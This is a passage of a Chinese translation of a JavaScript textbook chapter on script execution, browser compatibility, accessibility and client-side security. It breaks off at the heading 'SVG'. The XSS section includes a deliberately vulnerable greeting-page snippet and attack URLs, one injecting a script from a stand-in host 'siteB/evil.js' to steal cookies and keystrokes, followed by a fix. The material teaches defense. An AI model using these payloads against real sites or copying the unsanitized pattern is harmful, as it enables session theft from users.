出现在<script>和</script>标记对之间的JavaScript语句按照它们在脚本中出现的顺序来执行。当一个文件有多个脚本的时候,脚本按照它们出现的顺序来执行(除非脚本带有defer属性,IE会打乱顺序来执行它们)。<script>标记中的JavaScript代码作为文档载入和解析过程的一部分来执行。

 

任何不具有一个defer属性的<script>元素都可以调用document.write()方法(第15章详细介绍了该方法)。传递给这个方法的文本被插入到文档中脚本所在的位置。当脚本完成了执行以后,HTML解析器继续解析文档,从脚本所输出的任何文本开始。

 

脚本可以出现在一个HTML文档的<head>或<body>中。<head>中的脚本通常定义了将要被其他代码调用的函数。它们也可以声明和初始化其他代码将要使用的变量。文档的<head>中的脚本定义一个函数,并且将这个函数作为稍后执行的一个onload事件句柄来注册,这是很普通的。在一个文档的<head>中调用document.write()是合法的,但却不常见。

一个文档的<body>中的脚本可以做到<head>中脚本所能够做的一切。可是,在这些脚本中调用document.write()更加常见。一个文档的<body>中的脚本也可以(通过使用第15章所描述的技术)访问和操作出现在脚本之前的文档元素和文档内容。然而,正如本章稍后所描述的那样,当<body>中的脚本执行的时候,文档元素并不保证是可用的和稳定的。如果一个脚本只是定义了稍后使用的函数和变量,并且没有调用document.write()函数或者尝试修改文档内容,惯例规定它应该出现在文档的<head>中而不是<body>中。

正如前面提到的,IE打乱顺序来执行带有defer属性的脚本。这些脚本会在所有非延迟脚本之后运行,并且在文档完全解析后执行,但是在onload事件句柄触发前执行。

 

13.5.2onload事件句柄

文档解析之后,所有的脚本都运行,并且所有辅助内容(如图像)载入,浏览器启动onload事件,并运行已经在window对象注册为一个onload事件句柄的任何JavaScript代码。可以通过设置<body>标记的onload属性来注册一个onload句柄。也可以(使用第17章介绍的技术)来分隔JavaScript代码模块,从而注册它们自己的onload句柄。当注册了多个onload句柄的时候,浏览器调用所有的句柄,但是,调用它们的顺序并不能保证。

当onload句柄被触发的时候,文档会完整地载入和解析,并且任何文档元素都可以被JavaScript代码操作。因此,修改文档内容的JavaScript模块通常会包含一个执行修改的函数,以及当文档完全载入的时候负责安排函数调用的事件注册代码。

由于onload事件句柄在文档完全解析之后调用的,它们必须不调用document.write()。任何这样的调用都重新打开一个新的文档并且覆盖掉当前文档,而不是在当前后面添加内容;用户甚至没有机会看到当前文档。

 

13.5.3事件句柄和JavaScript URL

当文档载入和解析完成以后,onload句柄就触发了,并且JavaScript执行进入到其事件驱动阶段。在此阶段,事件句柄异步地执行,作为对鼠标移动、鼠标点击和按键等用户输入的响应。JavaScript URL也可能在此阶段被异步地调用,例如,用户点击那些href属性使用了javascript:伪协议的链接。

<script>元素通常用来定义函数,以及定义那些通常用来调用其他函数作为对用户输入的响应的事件句柄。当然,事件句柄可以定义函数,但这种情况并不常见(也并不是很有用)。

如果一个事件句柄基于它所在的文档调用document.write(),它将会覆盖这个文档并开始一个新的文档。这几乎绝非原意,并且,按照规则,事件句柄不应该调用这个方法。它们也不该调用那些调用这一方法的函数。可是,在一个窗口中的事件句柄调用另一个窗口的文档的write()方法的多窗口应用程序中,这就是个例外(参见14.8节了解更多窗口JavaScript应用程序的内容)。

 

13.5.4onunload事件句柄

当用户导航离开一个Web页面,浏览器触发onunload事件句柄,给该页面上的JavaScript最后一次运行机会。可以通过设置<body>标记的onunload属性来定义一个onunload句柄,或者使用第17章所描述的其他事件句柄注册技术。

 

onunload事件允许解除onload句柄的效果,或者解除Web页面中其他脚本的效果。例如,如果应用程序打开另一个浏览器窗口,当用户离开主页面的时候,onunload句柄提供一个机会来关闭该窗口。onunload句柄不应该运行任何耗费时间的操作,它也不应该弹出一个对话框。它的退出只是执行一个快速的清理操作,运行它不应该减慢或阻止用户转向一个新的页面。

 

13.5.5作为执行环境的Window对象

 

文档中所有的脚本、事件句柄和JavaScript URL都共享同一个Window对象作为它们的全局对象。JavaScript变量和函数只不过是这个全局变量的属性。这意味着,在一个<script>中声明的一个函数,可以被其后的任何<script>中的代码调用。

 

由于onload事件在所有脚本都执行之前并不会调用,每个onload事件句柄都能够访问文档中所有脚本所定义的所有函数以及所声明的所有变量。

不管何时,当一个新的对象载入到一个窗口中,该窗口的Window对象被恢复到其默认状态:之前的文档中的脚本所定义的所有属性和函数都被删除,并且可能已经修改或覆盖的任何标准系统属性都被恢复。每个文档都以一个清白的历史开始。脚本可能依赖于此,它们不会从之前的文档继承一个被破坏了的环境。这也意味着脚本定义的所有变量和函数定义都将持续,直到文档被一个新的文档所替换。

一个Window对象的属性和包含了定义这些属性的JavaScript代码的文档具有相同的生命期。Window对象本身具有一个更长的生命期,只要它所表示的窗口存在,它就存在。不管多少Web页面或窗口载入和卸载,对Window对象的一个引用都持续有效。这只有对使用多个窗口和帧的Web应用程序才有意义。在此情况下,一个窗口或帧中的JavaScript代码可能保存着对另一个窗口或帧的引用。即便其他的窗口或帧载入一个新的文档,这个引用仍然有效。

 

13.5.6客户端JavaScript线程模型

核心JavaScript语言并不包含任何线程机制,并且客户端JavaScript也没有增加任何线程机制。客户端JavaScript是单线程的(或者就像单线程一样工作)。当脚本载入和执行的时候,文档解析就停止下来,并且,当事件句柄执行的时候,Web浏览器会停止对用户输入的响应。

单线程执行是为更加简单的脚本而制定的,可以编写代码同时确保两个事件句柄不会同时运行。可以操作文档内容,而且事先知道不会有其他的线程试图同时修改文档。

 

单线程执行也会给JavaScript程序员带来负担,这意味着JavaScript脚本和事件句柄不能运行太长时间。如果一个脚本执行计算密集的任务,它将会为文档载入带来一个延迟,而用户无法在脚本完成前看到文档内容。如果一个事件句柄执行计算密集的任务,浏览器可能变得无法响应,可能会导致用户认为浏览器崩溃了。

如果应用程序必须执行足够的计算从而导致显著的延迟,应该允许文档在执行这个计算之前完全载入,应该确保能够通知用户计算正在进行中并且浏览器没有挂起。如果可能将计算分解为离散的子任务,可以使用setTimeout()和setInterval()这样的方法在后台运行子任务(参见第14章),同时更新一个进度指示器来向用户显示反馈。

 

13.5.7在载入过程中操作文档

在文档载入和解析过程中,<script>元素中的JavaScript代码可以使用document.write()向文档中插入内容。对于其他类型的文档操作,例如,使用第15章所介绍的DOM脚本化技术,<script>标记中可能允许也可能不允许。

大多数浏览器允许脚本操作那些出现在<script>标记之前的任何文档元素。有些JavaScript代码用来实现它。可是,并没有标准来要求浏览器这么做,并且,在一些有经验的JavaScript程序员中有一个持久的信条(如果不明晰的话),就是把文档操作代码放入到<script>标记中可能会引发问题(也许只是偶然的,也许只针对某些浏览器,或者只是当通过浏览器的后退按钮重新载入或重新访问文档的时候)。

对这一模棱两可区域的惟一共识是,在onload事件已经触发以后操作文档是安全的,并且这也是大多数JavaScript应用程序的做法:它们使用onload句柄触发所有的文档修改。在例17-7中,我给出了一个用来注册onload事件句柄的工具程序。

在包含较大的图像或很多图像的文档中,在图像载入和onload事件触发之前,主文档可以很好地解析。在这种情况下,可能希望在onload事件之前开始操作文档。一种技术是把操作代码放在文档的末尾(其安全性还在争论)。一种特定于IE的技术是把文档操作代码放入到一个既有defer属性又有src属性的<script>标记中。一种特定于Firefox的技术是把文档操作代码作为未详细说明的DOMContentLoaded事件的一个事件句柄,当文档被解析而图像等外部对象还没有完全载入的时候,这个事件就启动了。

JavaScript执行模式中的另一个模棱两可区域是,在文档完全载入之前事件句柄能否调用的问题。到目前为止,我们对于JavaScript执行模式的讨论可以得出结论,所有的事件句柄总是在所有的脚本已经执行以后才被触发。尽管这通常会发生,但也不是任何标准所要求的。如果一个文档很长或者在一个很慢的网络连接上载入着,浏览器可能部分地提交文档并且在所有的脚本和onload句柄运行之前就允许用户开始和它交互(并触发事件句柄)。如果这样的一个事件句柄调用了一个还没有定义的函数,它将会失败(这也是在一个文档的<head>中的脚本中定义所有函数的原因之一)。如果这样的一个事件句柄试图操作还没有解析的文档的一部分,也会失败。这种情况在实际中并不常见,防止这一问题所需要的额外的编码工作通常也是不值得的。

 

13.6客户端兼容性

Web浏览器通常是运行应用程序的一个通用平台,而JavaScript是用来开发这些应用程序的语言。幸运的是,JavaScript语言是标准化的并且得到了很好的支持,所有现代的Web浏览器都支持ECMAScript v3。对于平台本身,却不能也这么说。当然,所有的Web浏览器都显示HTML,但是它们在对其他标准(如CSS和DOM)的支持上却各不相同。尽管所有的浏览器都包含一个兼容的JavaScript解释器,但它们可供客户端JavaScript代码使用的API却各不相同。

对于客户端的JavaScript程序员来说,兼容性问题是一个令人不快的生活现实。程序员所编写和部署的JavaScript代码可能要在各种不同的浏览器版本中运行,而这些浏览器又运行在各种操作系统之上。考虑流行的操作系统和浏览器的排列组合:Windows和Mac OS上的IE,Windows、Mac OS和Linux上的Firefox,Mac OS上的Safari,以及Windows、Mac OS和Linux上的Opera。如果想要支持每种浏览器的当前版本和此前的两个版本,将这9种浏览器/操作系统的组合乘以3,一共有27种浏览器/版本/操作系统的组合。确保Web应用程序在所有这27种组合上都能运行的惟一方法就是在每一种组合中测试它们。这是一个让人畏缩的任务,并且实际上,这种测试往往是在应用程序部署以后由用户来测试的。

在达到应用程序开发的测试阶段之前,必须先编写代码。当用JavaScript编写程序的时候,浏览器之间的不兼容的知识对于编写兼容的代码至关重要。不幸的是,生成所有已知的厂商、版本和平台兼容性的确定列表是一项工作量巨大的任务。这超出了范围和任务,并且,就笔者所知,还没有全面的客户端JavaScript测试组开发出来。可以在网上找到浏览器兼容性信息,下面是两个笔者觉得很有用的站点:

http://www.quirksmode.org/dom/

         这是自由Web开发者Peter-PaulKoch的Web站点。他的DOM兼容性表给出了W3C DOM的各种不同浏览器的兼容性。

http://webdevout.net/browser_support.php

         这个站点是DavidHammond的类似于quirksmode.org的站点,但是,它的兼容性表要更加全面,并且(在编写本书的时候)更新一些。除了DOM兼容性,它还排列出了浏览器与HTML、CSS和ECMAScript标准的兼容性。

当然弄清楚不兼容性只是第一步。下面的各小节说明了可以用来解决所遇到的不兼容性问题的技术。

 

13.6.1不兼容性的历史

客户端的JavaScript技术一直都面临着不兼容性的问题。了解历史能够提供一些有用的背景资料。Web编程的早期是以Netscape和Microsoft之间的“浏览器大战”为标志的。这时的开发的不兼容性情况在高密度大幅度地增长着,在浏览器环境和客户端JavaScript API方面都有。不兼容性问题此时达到了最坏的情况,并且,一些Web站点干脆放弃努力并告诉它们的访问者需要使用哪种浏览器来访问自己的站点。

浏览器战争结束以后,Microsoft占据了绝大部分的市场份额,并且像DOM和CSS这样的网络标准开始生效。这是一段相对稳定(或者说停滞)的时期,Netscape浏览器渐渐地转变成Firefox浏览器,而Microsoft也对自己的浏览器进行一些不断的改进。两种浏览器对标准支持的都很好,至少对于将要编写的兼容性Web应用程序来说足够好了。

 

在编写教材的时候,似乎另一个浏览器革命高潮即将开始。例如,所有的主流浏览器现在都支持脚本化的HTTP请求,而这形成了新的Ajax Web应用程序架构的基石(参见第20章)。

Microsoft正在开发Internet Explorer7,它将解决很多长期以来的安全性和CSS兼容性问题。IE7将有很多的用户可以看到的改变,但是,它显然不会为Web开发者带来什么创新。然而,其他的浏览器正在努力创新。例如,Safari和Firefox支持一个<canvas>标记,它用来脚本化客户端的图形(参见第22章)。一个叫做WHATWG的Web浏览器厂商的联盟(whatwg.org,值得注意的是Microsoft不在其中),正在为<canvas>以及很多其他的HTML和DOM扩展的标准化而努力工作着。

13.6.2关于“现代的浏览器”

客户端的JavaScript是一种移动的目标,尤其是我们实际上正在进入一个快速发展的时期。因此,笔者避免在本书中对特定浏览器的特定版本做出狭隘的叙述。任何这样的论断都可能在开始编写本书的新版之前变得过时。像这样一本印刷好的图书很难按照根据需要频繁地更新,以便对影响到当前的浏览器阵营的兼容性问题给出有用的指导。

因此,读者将会发现,书中使用像“所有现代的浏览器”(或者有时候是“除了IE以外的所有现代的浏览器”)这样故意模糊的字眼来确保语句的合理性。在编写本书的时候,“现代的浏览器”的松散的集合包括:Firefox 1.0、Firefox 1.5、IE5.5、IE 6.0、Safari2.0、Opera 8和Opera 8.5。但这并不保证,本书中每一句带有“现代的浏览器”的话对于这些具体的浏览器的每一种都是成立的。可是,这可以让读者了解在本书编写的时候浏览器的当前技术情况。

 

13.6.3功能测试

功能测试(有时候叫做能力测试)是解决不兼容性的一种强大的技术。如果程序员想要使用一种可能没有被所有的浏览器支持的功能,要在脚本中包含相应的代码来测试该功能是否被支持。如果想要的功能还没有被当前的平台所支持,要么不要在该平台上使用它,要么提供可在所有平台上工作的替代代码。

读者将会在后面的各章中一次又一次地看到功能测试。例如,在第17章,有如下所示的代码:

         if(element.addEventListener){

                  element.addEventListener(“keydown”,handler, false);

                   element.addEventListener(“keypress”,handler, false);

}elseif(element.attachEvent){

         element.attachEvent(“onkeydown”,handler);

         element.attachEvent(“onkeypress”,handler);

}else{

         element.onkeydown = element.onkeypress= handler;

}

第20章介绍了功能测试的另一种方法:不断尝试替代方案,直到找到一种不会抛出异常的。并且,当找到一个有效的替代方案,要记住它以便以后使用。下面是对例20-1的预览:

         HTTP._factories= [

                  function(){ return newXMLHttpRequest(); },

                   function(){return new ActiveXObject(“Msxml2.XMLHTTP”); },

                   function(){return new ActiveXObject(“Microsoft.XMLHTTP”); }

];

HTTP._factory =null;

HTTP.newRequest= function(){  /*code*/ }

读者可能还会在现有的代码中碰到一个常见的、但已经过时的功能测试的例子,这就是确定一个浏览器支持哪个DOM。它往往出现在DHTML代码中,并且通常如下所示:

         if(document.getElementById){

                  //W3C

}elseif(document.all){

         //IE 4以上

}elseif(document.layers){

         //Netsacpe 4

}else{

         //其他浏览器

}

类似这样的代码已经过时了,因为今天几乎所有部署的浏览器都支持W3C DOM及其document.getElementById()函数。

有关功能测试的重要的事情是,它会导致代码不会和浏览器厂商或浏览器版本号的具体列表紧密联系在一起。代码会在今天已有的浏览器集合中有效,并且在未来的浏览器中也将继续有效,而不管它们实现了哪些功能集合。可是,注意,这需要浏览器厂商不要定义一种属性或方法,除非这种属性和方法是完全有效的。如果Microsoft要定义一个addEventHandler()方法,而该方法只是部分地实现了W3C规范,这将会破坏很多代码在调用addEventHandler()之前的功能测试工作。

这个例子中的document.all属性值得在这里特别提一下。document.all[]数组是由Microsoft在IE4中引入的。它允许JavaScript代码引用一个文档的所有元素,并且开创了客户端编程的一个新时代。它还没有标准化,并且由document.getElementById()替代。它仍然用于现在的代码中,并且常常通过如下的代码用来(错误地)确定一个脚本是否在IE中运行:

if(document.all){

         //IE

}else{

         otherbrowser

}

由于仍然有很多现存的代码使用document.all,Firefox浏览器已经添加了对它的支持,这样,Firefox就可以对很多以前专门依赖于IE的站点有效了。由于all属性经常用来进行浏览器检测,Firefox假装自己不支持该属性。因此,即便Firefox确实支持document.all,下面脚本中的if语句执行起来,就好像all属性不存在,这段脚本显示一个包含文本“Firefox”的对话框:

         if(document.all)alert(“IE”);else alert(“Firefox”);

这个例子说明,如果浏览器撒谎的话,功能测试的方法就无效了。它还展示了Web开发者并不是为兼容性问题而头痛的惟一的人。浏览器厂商也为兼容性问题而痛苦不堪。

 

13.6.4浏览器测试

功能测试很适合检查对大型功能区域的支持。例如,可以使用它来确定一个浏览器是否支持W3C事件处理模型或者IE的事件处理模型。另一方面,有时候可能需要在特定的浏览器中解决个别的bug或难题,而这里可能没有简单的方法来测试bug的存在。在这种情况下,需要创建一个特定平台的解决方案,它和特定的浏览器厂商、版本或操作系统(或者3方面的某种组合)紧密相连。

在客户端JavaScript中做到这些的方法就是使用Navigator对象,我们将在第14章学习它。确定当前的浏览器的厂商和版本的代码通常叫做浏览器嗅探器(browser sniffer)或客户端嗅探器(client sniffer)。例14-3给出了一个简单的例子。在Web的早期,当Netscape和IE平台不兼容并且分道扬镳的时候,客户端嗅探器是一种常见的客户端编程技术。现在兼容性情况已经稳定了,客户端嗅探已经没那么流行了,并且只有在确实需要的时候才使用。

注意,客户端嗅探也可以在服务器端完成,Web服务器根据浏览器在其User-Agent头部如何标示自己来选择发送什么样的JavaScript代码。

13.6.5IE中的条件注释

实际上,读者会发现客户端JavaScript编程中的很多不兼容性都是特定于IE的。也就是说,必须按照一种方式为IE编写代码,而按照另一种方式为所有其他的浏览器编写代码。尽管通常可以避免那些不可能标准化的特定于浏览器的扩展,但是,IE在HTML和JavaScript代码中都支持条件注释也是很有用的。

下面是HTML中的条件注释的样子。注意,HTML注释使用结束的分隔符的技巧:

         <!--[if IE]>

         Thiscontent is actually inside an HTML comment.

         Itwill only be displayed in IE.

         <![endif]-->

         <!--[ifgte IE 6]>

         Thiscontent will only be displayed by IE6 and later.

         <![endif]-->

         <!--[if!IE]<-->

         Thisis normal HTML content,but IE will not display it

         <!--><![endif]-->

         Thisis normal content,displayed by all browsers.

条件注释也得到IE的JavaScript解释器的支持,C和C++程序员可能觉得它们和C处理器的#ifdef/#endif功能很相似。IE中的JavaScript条件注释以文本/*@cc_on开头,以文本@*/结束(cc_on中的cc表示有条件编译)。下面的条件注释包含了只在IE中执行的代码:

         /*@cc_on

                   @if(@_jscript)

                            alert(“InIE”);

                   @end

                   @*/

在一个条件注释内部,关键字@if、@else和@end划定出了哪些是要被IE的JavaScript解释器有条件地执行的代码。大多数时候,只需要上面所示的简单的条件:@if(@_jscript)。Jscript是Microsoft自己的JavaScript解释器的名字,而@_jscript变量在IE中总是为true。

通过条件注释和常规的JavaScript注释的合理的交叉组合,可以设置在IE中运行一段代码而在所有其他浏览器中运行另一段不同的代码:

         /*@cc_on

                   @if(@_jscript)

                   alert(‘Youare using Internet Explorer’);

                   @else*/

                   alert(‘Yourare not using Internet Explorer’);

         *@end

         @*/

不管是HTML形式还是JavaScript形式,条件注释都是完全非标准化的。但是,它们有时候是实现IE的兼容性的一种有用方式。

13.7可访问性

Web是发布信息的理想工具,而JavaScript程序可以增强对信息的访问。然而,JavaScript程序员必须小心,很容易编写出这样的代码:通过视觉的或物理的障碍而不注意地向访问者拒绝信息。

盲人可能使用一种叫做屏幕阅读器的“辅助性技术”将书面的文字变成语音词汇。有些屏幕阅读器是识别JavaScript的,而另一些当JavaScript关闭的时候工作的会更好。如果设计一个需要JavaScript来显示其信息的Web站点,就会把那些使用屏幕阅读器的用户排除在外(也把那些使用一个手机这样的不支持JavaScript的移动设备的用户,以及那些有意关闭浏览器的JavaScript功能的用户排除在外)。JavaScript的恰当的角色是增加信息的表现力,而不是负责信息的表现。JavaScript可访问性的一条重要原则是,设计代码以使得即便JavaScript解释器被关闭,使用它的Web页面也能(或者至少以某种形式)发挥作用。

可访问性所关心的另一个重要问题是,那些可以使用键盘但不能使用(或者选择不是用)鼠标这样的指示性设备的用户。如果编写的JavaScript代码依靠特定于鼠标的事件,就会把那些不使用鼠标的用户排除在外。Web浏览器允许键盘来切换和激活一个Web页面,并且,JavaScript代码也应该允许这么做。同时,也不应该编写代码来要求键盘输入,否则,会把那些不使用键盘的用户以及很多使用手提电脑或手机浏览器的用户排除在外。正如第17章所介绍的,JavaScript支持独立于设备的事件,例如onfocus和onchange,以及依赖于设备的事件,如onmouseover和onmousedown。为了实现可访问性,应该尽可能地支持独立于设备的事件。

没有清晰的解决方案,创建可访问的Web页面并非鸡毛蒜皮的小问题。在编写本书的时候,如何最好地使用JavaScript来促进而不是降低可访问性,这个问题仍在争论之中。对于JavaScript和可访问性的完整的讨论超出了本书的范围。通过互联网搜索可以找到关于这一主题的众多信息,其中的大多数都以来自权威资源的推荐形式表现出来。请记住,客户端JavaScript编程实践和辅助性技术还在不断发展,可访问性规则并不总是能跟上。

 

13.8JavaScript安全性

互联网安全性是一个广泛而复杂的领域。本节关注客户端JavaScript安全问题。

 

13.8.1JavaScript不能做什么

 

JavaScript解释器引入到Web浏览器,意味着载入一个Web页面可能导致任意的JavaScript代码在用户计算机执行。安全的Web浏览器(通常所用的现代浏览器看上去相对比较安全)以各种方式限制脚本,从而防止恶意代码读取私密数据、更改数据或者危及隐私。

JavaScript针对恶意代码的第一条防线就是这种语言不支持某些能力。例如,客户端的JavaScript不提供任何方式来读取、写入和删除客户端计算机上的文件或目录。没有File对象,也没有文件访问函数,一个JavaScript程序就无法删除用户的数据或者在用户的系统中植入病毒。

第二条防线在于JavaScript在自己所支持的某些功能上强加限制。例如,客户端的JavaScript可以脚本化HTTP协议来和Web服务器交换数据,并且它甚至可以从FTP或其他的服务器来下载数据。但是,JavaScript不提供通用的网络原语,并且无法为任何主机打开一个socket或者接受一个来自其他主机的连接。

下面的列表包含了其他一些可能受到限制的功能。注意,这不是一个确定的列表。不同的浏览器有着不同的限制,而且这些限制中的很多可能是用户可配置的:

         JavaScript程序可以打开一个新的浏览器窗口,但是为了防止广告滥用弹出窗口,很多浏览器限制这一功能,使得只有为了响应鼠标点击这样的用户启动事件的时候,才能使用它。

         JavaScript程序可以关闭自己打开的浏览器窗口,但是不允许它没有用户确认就关闭其他的窗口。这就防止恶意脚本调用self.close()来关闭用户的浏览器窗口,从而导致程序退出。

         当鼠标移动到链接上的时候,JavaScript程序无法通过设置状态行文本来使链接的目标地址变得模糊不清(在过去,在状态行提供有关链接的额外信息是很常见的。钓鱼陷阱滥用了这一功能,导致很多浏览器厂商关闭了这一功能)。

         脚本无法打开一个太小的窗口(通常一边小于100个像素)或者把一个窗口缩小到太小。类似的,脚本无法把一个窗口移出屏幕之外,或者创建一个比屏幕更大的窗口。这就防止了打开用户无法看到或者可能轻易忽略的窗口,这样的窗口可能包含继续运行的脚本而用户却以为它们已经停止了。还有,脚本无法创建一个没有标题栏或者状态行的浏览器窗口,例如,这样的一个窗口可能伪造一个正在运行的对话框并欺骗用户输入一个敏感性的密码。

         HTML的FileUpload元素的value属性无法设置。如果这个属性可以设置,一个脚本可以将其设置为任何想要的文件名,并且引起表单将任何指定文件(例如密码文件)的内容上传到服务器。

         脚本不能读取从不同服务器载入的文档的内容,除非这个文档就是包含该脚本的文档。类似的一个脚本不能在来自不同服务器的文档上注册事件监听器。这就防止脚本窃取给其他页面的用户输入(例如,组成一个密码项的击键)。这一限制叫做同源策略,下一节将更加详细地介绍它。

 

13.8.2同源策略

同源策略是对JavaScript代码能够和哪些Web内容交互的一条完整的安全限制。当一个Web页面使用多个帧(包括<iframe>标记)或者打开其他的浏览器窗口的时候,这一策略会发挥作用。在这种情况下,同源策略负责管理一个窗口或帧中的JavaScript代码和其他窗口或帧的交互。具体地说,一个脚本只能够读取和包含这一脚本的文档来源相同的窗口和文档的属性(参见第14.8节了解如何对多个窗口和帧使用JavaScript)。

 

当使用XMLHttpRequest对象脚本化HTTP的时候,同源策略也发挥作用。这一对象允许客户端的JavaScript代码来提出任意的HTTP请求,但所针对的Web服务器只能是载入包含文档的Web服务器(参见第20章了解XMLHttpRequest对象的更多内容)。

文档的来源定义为协议、主机或者是载入文档的URL的端口。载入自不同Web服务器的文档具有不同的来源。通过同一主机的不同端口载入的文档具有不同的来源。使用http:协议载入的一个文档和另一个使用https:协议载入的文档具有不同的来源,即使它们来自同一个Web服务器。

脚本本身的来源和同源策略并不相关,相关的是脚本所嵌入的文档的来源,理解这一点很重要。例如,假设一个来自域A的脚本包含到(使用<script>标记的src属性)一个域B的Web页中。这个脚本可以完整地访问包含它的文档的内容。如果脚本打开一个新的窗口并且载入来自域B的另外一个文档,脚本也对这个文档的内容具有完全的访问权。但是,如果脚本打开第三个窗口并载入一个来自域C的文档(或者是来自域A),同源策略就会发挥作用,阻止脚本访问这个文档。

实际上,同源策略并非应用于不同源的窗口中的所有对象的所有属性。不过它应用到了其中的大多数属性,尤其是对Document对象的所有属性而言(参见第15章)。另外,不同的浏览器厂商对于这一安全策略的实现也略为不同(例如,Firefox1.0允许脚本在不同源的窗口上调用history.back(),但IE6没有这么做)。出于各种意图和目的,我们应该把任何包含一个来自其他服务器的文档的窗口看作是禁止脚本进入的。如果脚本打开这个窗口,脚本也可以关闭它,但是它不能以任何方式查看窗口内部。

对于防止脚本窃取私有的信息来说,同源策略是必需的。如果没有这一限制,恶意脚本(通过防火墙载入到安全的公司内网的浏览器中)可能会打开一个空的窗口,希望欺骗用户进入并使用这个窗口在内网上浏览文件。恶意的脚本就能够读取窗口的内容并将其发送回自己的服务器。同源策略防止了这种行为。

在某些情况下,同源策略就显得太过严格了。它给那些使用多个服务器的大站点带来了一些特殊的问题。例如,来自home.example.com的脚本可能会想要读从developer.example.com装载进来的文档的属性,或者来自orders.example.com的脚本可能需要读catalog.example.com上的文档的属性,这都是合理的。为了支持这种类型的大网站,可以使用Document对象的属性domain。在默认情况下,属性domain存放的是装载文档的服务器的主机名。可以设置这一属性,不过使用的字符串必须具有有效的域前缀。因此,如果一个domain属性的初始值是“home.example.com”,就可以把它设置成“example.com”,但是不能把它设置成“home.example”或“ample.com”。另外,domain值中至少要有一个点号,不能把它设为“com”或其他顶级域名。

如果两个窗口(或帧)含有的脚本把domain设置成了相同的值,那么这两个窗口就不再受同源策略的约束,它们可以互相读取对方的属性。例如,从orders.example.com和catalog.example.com装载进来文档中的协作脚本可以把它们的document.domain属性都设置成“example.com”,这样一来,这些文档就有了同源性,可以互相读取属性。

13.8.3脚本化插件和ActiveX控件

尽管核心JavaScript语言和基本的客户端对象模型缺乏大多数恶意代码所需要的文件系统功能和网络功能,但情况也并不像看上去那么简单。在很多Web浏览器中,JavaScript用作针对其他软件组件的“脚本引擎”,这些组件如IE中的ActiveX控件和其他浏览器的插件。这为客户端脚本提供了重要的和强大的功能。我们可以在第20章看到一个ActiveX控件用来脚本化HTTP的例子,在第19章和第22章看到Java和Flash插件用于持久性和高级客户端图形的例子。

脚本化ActiveX控件和插件的能力也有着安全性的含义。例如,Java applet具有访问低端的网络能力。Java安全性“沙箱”阻止applet和载入它的服务器以外的任何服务器通信,因此,这并未打开一个安全漏洞。但是,它暴露了基本的问题:如果插件是可以脚本化的,必须不仅相信Web浏览器的安全架构,还要相信插件的安全架构。实际上,Java和Flash插件看上去具有健壮的安全性,并且不会为客户端JavaScript引来安全问题。然而,ActiveX脚本化有一个更加多变的过去。IE浏览器已经能够访问各种各样的脚本化ActiveX控件,而这些控件是Windows操作系统的一部分,并且在过去,这些控件中的某些包含有可利用的安全漏洞。可是,在编写的时候,这些问题看上去已经解决了。

13.8.4跨站脚本

跨站脚本,或者叫做XSS,这个术语用来表示一类安全问题,也就是攻击者向目标Web站点注入HTML标记或者脚本。防止XSS攻击是服务器端Web开发者的一项基本工作。然而,客户端JavaScript程序员也必须意识到或者能够预防跨站脚本。

如果Web页面动态地产生文档内容,并且这些文档内容基于用户提交的数据,而并没有通过从中移除任何嵌入的HTML标记来“消毒”的话,那么这个Web页面很容易遭到跨站脚本攻击。作为一个小例子,考虑如下的Web页面,它使用JavaScript通过用户的名字来向用户问好:

         <script>

                   varname = decodeURIComponent(window.location.search.substring(6)) || “”;

                   document.write(“Hello“ + name);

         </script>

这两行脚本使用window.location.search来获得它们自己的URL中以?开始的部分。它使用document.write()来向文档添加动态生成的内容。这个页面专门通过如下的一个URL来调用:

         http://www.example.com/greet.html?name=David

这么使用的时候,它会显示文本“Hello David”。但考虑一下,当用下面的URL来调用它的时候,会发生什么情况:

         http://www.example.com/greet.html?name=%3Cscript%3Ealert(‘David’)%3C/script%3E

只用这个URL,脚本会动态地生成另一个脚本(%3C和%3E是一个尖括号的编码)。在这个例子中,注入的脚本只是显示一个对话框,这还是相对较好的情况。但是,考虑如下的情况:

         http://siteA/greet.html?name=%3Cscriptsrc=siteB/evil.js%3E%3C/script%3E

之所以叫做跨站脚本攻击,是因为它涉及到多个站点。站点B(或者站点C)包含一个专门构造的到站点A的链接(就像上面的那个),它会注入一个来自站点B的脚本。脚本evil.js驻留在恶意站点B,但现在,它嵌入到站点A中,并且可以对站点A的内容进行任何想要的操作。它可能损坏这个页面或者使其不能正常工作(例如,启动下一节所要介绍的拒绝服务攻击)。这可能会对站点A的客户关系有害。更危险的是,恶意脚本可以读取站点A所存储的cookie(可能是计数或者是其他的个人验证信息),然后把数据发送回站点B。注入的脚本甚至可以诱骗用户击键并将数据发送回站点B。

通常,防止XSS攻击的方式是,在使用任何不可信的数据来创建动态的文档内容之前,从其中移除HTML标记。可以通过添加如下的一行代码来移除<script>标记两边的尖括号,从而来修复前面给出的greet.html文件。

         name = name.replace(/</g, “&lt;”).replace(/>/g, “&gt;”);

跨站脚本使得一个有害的弱点能够立足于Web的架构之中。深入理解这种弱点是值得的,但是更深入地讨论也超出了范围。有很多在线资源可以帮助预防跨站脚本。一个重要的资源是对于这一问题最早给出的CERT Advisory,它位于http://www.cert.org/advisories/CA-2000-02.html。

 

13.8.5拒绝服务攻击

这里描述的同源策略和其他的安全限制对于预防恶意代码毁坏数据或者侵犯隐私做了很好的工作。然而,它们并不能防止强力的拒绝服务攻击。如果访问了带有JavaScript功能的一个恶意Web站点,这个站点可以使用一个alert()对话框的无限循环占用浏览器,迫使用户使用Unix的kill命令或者Windows任务管理器来关闭浏览器。

一个恶意站点也可以试图用一个无限循环或者没有意义的计算来占用CPU。某些浏览器(如Firefox)可以检测运行时间很长的脚本,并且让用户选择终止它们。这可以防范偶然性的无限循环,但恶意代码可以使用window.setInterval()命令这样的技术来避免被关闭。类似的攻击会通过分配很多内存来占用系统。

Web浏览器并没有通用的办法来防止这种笨拙的攻击。实际上,由于没有人会返回到滥用这种脚本的网站,这在Web上不是一个常见的问题。

13.9其他的Web相关的JavaScript嵌入

除了客户端JavaScript,JavaScript语言还有其他的和Web相关的嵌入。本书并没有介绍这些其他的嵌入。但是,应该知道它们,以便不会把它们和客户端JavaScript搞混淆了:

 

用户脚本

         用户脚本是一种创新,其中用户定义的脚本在被浏览器提交之前应用于HTML文档。Web页面现在也可以由页面的访问者来控制了,而不再是仅仅处于Web设计者的控制之下。用户脚本最知名的例子就是Firefox Web浏览器的Greasemonkey扩展(http://greasemonkey.mozdev.org)。开放给用户脚本的编程环境和客户端编程环境相似,但是并不完全相同。本书将不会介绍如何编写Greasemonkey用户脚本,但是,学习客户端JavaScript编程是学习用户脚本的先决条件。

SVG

